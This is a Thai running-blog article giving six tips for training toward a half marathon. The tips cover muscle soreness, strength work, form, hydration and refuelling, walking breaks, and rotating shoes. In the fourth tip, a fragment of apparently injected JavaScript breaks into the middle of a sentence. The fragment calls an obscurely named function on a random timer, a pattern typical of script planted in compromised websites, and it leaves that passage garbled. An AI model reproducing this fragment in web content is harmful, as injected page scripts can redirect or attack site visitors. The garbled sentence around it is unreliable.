• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

6 อย่างที่เพื่อนไม่บอกเวลาฝึกวิ่งฮาร์ฟ

kan by kan
20 August 2019
in Running Tips
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

สำหรับมือใหม่ การฝึกวิ่งระดับเริ่มต้นจาก 5K ไปยัง 10K ยังคงไม่ต้องการเทคนิคพิเศษอะไรเพิ่มเติมมากนัก เเต่ทันทีที่เริ่มเหยียบเข้าสู่ดินเเดนเกิน 10 กิโลเมตรขึ้นไป เทคนิคการฝึกฝนร่างกายนอกเหนือจากการวิ่ง การฝึกกล้ามเนื้อ การหายใจ การดื่มน้ำ การ refuel และอื่นๆ ก็จะเริ่มเข้ามามีบทบาทมากขึ้น

6 อย่างที่เพื่อนไม่บอกเวลาฝึกวิ่งฮาร์ฟ

เมื่อฝึกวิ่งเพื่อเข้าเเข่งขัน 21K เรามีเทคนิคลับ 6 อย่างที่เพื่อนนักวิ่งอาจจะไม่เคยได้บอกคุณไว้…

  1. อาการปวดเมื่อยกล้ามเนื้อจะถามหาบ่อยขึ้น หรืออาการที่เรียกว่า Delayed onset muscle soreness (DOMS) ซึ่งส่วนมากเกิดขึ้นประมาณ 1 คืนหลังฝึก ตื่นเช้ามาก้เตรียมรับมืออาการปวดเมื่อยกล้ามเนื้อได้เลย สาเหตุที่เกิดขึ้นบ่อยก็เพราะการฝึกวิ่งเราจะเริ่มกินเวลาเกิน 60 นาที ระยะทางสะสมก็จะเริ่มมากขึ้นกว่าระยะ 10 กิโลเมตร ร่างกายหลั่ง lactic acid ออกมา ประกอบกับเส้นใยกล้ามเนื้อที่มีการฉีกขาด เเละเมื่อร่างกายได้พักเเละซ่อมเเซม ร่างกายก็จะเเข็งเเรงขึ้น
  2. จำเป็นต้องมีการฝึกกล้ามเนื้อ หรือ Strength trainning เพราะด้วย Workload ที่เพิ่มขึ้น เราจำเป็นต้องมีการเสริมสร้างความเเข็งเเรงของกล้ามเนื้อให้สามารถทนทานต่อระยะทางวิ่งไกล เราจะเริ่มมีการฝึกท่าเบสิคต่างๆ อย่าง Squat, Planking และ Push up มากขึ้น เเนะนำว่าฝึกกล้ามเนื้ออย่างน้อย 2-3 ครั้ง/สัปดาห์ จะเเบบ Total body หรือสลับ Lower Body เเละ Upper Body เพื่อให้ร่างกายได้พักเป็นส่วนๆ ก็ได้ หรือถ้าจะฝึกพร้อมวันวิ่งก็ได้เเต่เเนะนำว่าให้ฝึกหลังซ้อมวิ่งเสร็จเเล้ว การฝึกกล้ามเนื้อก่อนออกวิ่งจะทำให้มัดกล้ามเนื้ออ่อนล้า เดียวเวลาวิ่งจะรักษา Posture วิ่งไม่ได้ ทำให้วิ่งผิดท่า จนเกิดอาการบาดเจ็บได้
  3. เราจะจัดระเบียบร่างกายรักษาฟอร์มการวิ่งมากขึ้น ด้วยการจัด Posture ที่ดีจะช่วยให้เราสามารถรักษาโมเมนตรัมในการวิ่งได้ดี ช่วยลดการเคลื่อนไหวที่ไม่จำเป็น เราจะควบคุมจังหวะ (cadene) เเละท่าของ stride มากขึ้นเพื่อรักษาพลังงาน ออกเเรงให้น้อยที่สุดเเละไปได้ดีที่สุด 
  4. Hydration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nutrition เป็นเรื่องสำคัญ การดื่มน้ำเเละการ refuel เพื่อเติมพลังงานกลับคืนจะกลายเป็นเรื่องที่ต้องใส่ใจมากขึ้น เพราะปริมาณน้ำในร่างกายที่ลดลงจากการสูญเสียเหงื่อไม่กี่เปอร์เซ็นต์ มีผลต่อการลดลงของ performance นักวิ่งอย่างมาก การวิ่งที่กินระยะเวลาเกิน 60 นาทีเองก็จำเป็นต้องมีการ refuel เพื่อเติมพลังงานกลับคืนไป การไม่ใส่ใจระดับสมดุลน้ำในร่างกายก็อาจจะทำให้เกิดเป็นตะคริวได้วง่าย หรือหากขาดพลังงานก็อาจจมีอาการ Hit the wall ได้เหมือนกับการวิ่งมาราธอนเช่นกัน
  5. มีเดินเเน่นอน การเดินไม่ใช่เรื่องน่าอาย หากร่างกายไม่ไหว วิ่งไม่ได้ ก็สามารถใช้การเดินเพื่อพักฟื้นให้ร่างกายได้ปรับตัวใหม่ การเดินจะช่วยลดอัตรา HR ลง ช่วยให้การดื่มน้ำหรือกินของขบเคี้ยวทำได้ง่ายขึ้น วิ่ง 21K ครั้งเเรกไม่จำเป็นต้องทำเวลาให้ดีที่สุด เราเอาตัวให้รอดเข้าเส้นชัยให้ได้ก่อน เเล้วครั้งที่ 2 3 4 ค่อยพัฒนาเรื่องความเร็ว
  6. คุณจะมีรองเท้ามากกว่า 1 คู่ โดยส่วนมากจะมีคู่ไว้วิ่งฝึกซ้อมเเละอีกคู่หนึ่งที่มีน้ำหนักเบา เป็น race shoes เอาไว้วิ่งทำความเร็ว ใครที่มีรองเท้าคู่เดียว พอวิ่งฝึกได้สักระยะ (ถ้ามีเเผนฝึก 6 เดือน) ก็อาจจะต้องซื้อคู่ใหม่อีกคู่เเทนคู่เก่าที่เสื่อมสภาพ เเละเราแนะนำว่าควรจะมีรองเท้าวิ่งอย่างน้อย 2 คู่ ใส่วิ่งสลับกัน เพราะเเต่ละคู่จะทำให้ร่างกายใช้กล้ามเนื้อต่างกัน เปิดโอกาสให้กล้ามเนื้อส่วนตา่งๆ ได้ทำงาน การใส่คู่เดิมๆ กล้ามเนื้อชุดเก่าก็จะถูกใช้งานซ้ำๆ จนเกิดการเมื่อยล้าเเละมากเข้าก็จะบาดเจ็บได้

มีอีกหนึ่งเทคนิคที่เราอาจจะได้ใช้นั้นคือ การทาวาสลีนตามข้อพับต่างๆ เพื่อป้องกันการเสียดสีของผิวหนัง นอกจากนี้เพื่อลดการเสียดสี ก็ไม่ควรนำเสื้อวิ่งชุดใหม่มาใส่ในวันวิ่งเเข่งเด็ดขาด เพราะยังมีความกระด้าง ยังไม่ยืดตัว ต้องมีการใส่ใช้งานไปสักพักถึงจะมีความยืดหยุ่นอ่อนนุ่ม

อ้างอิง blog.mapmyrun.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.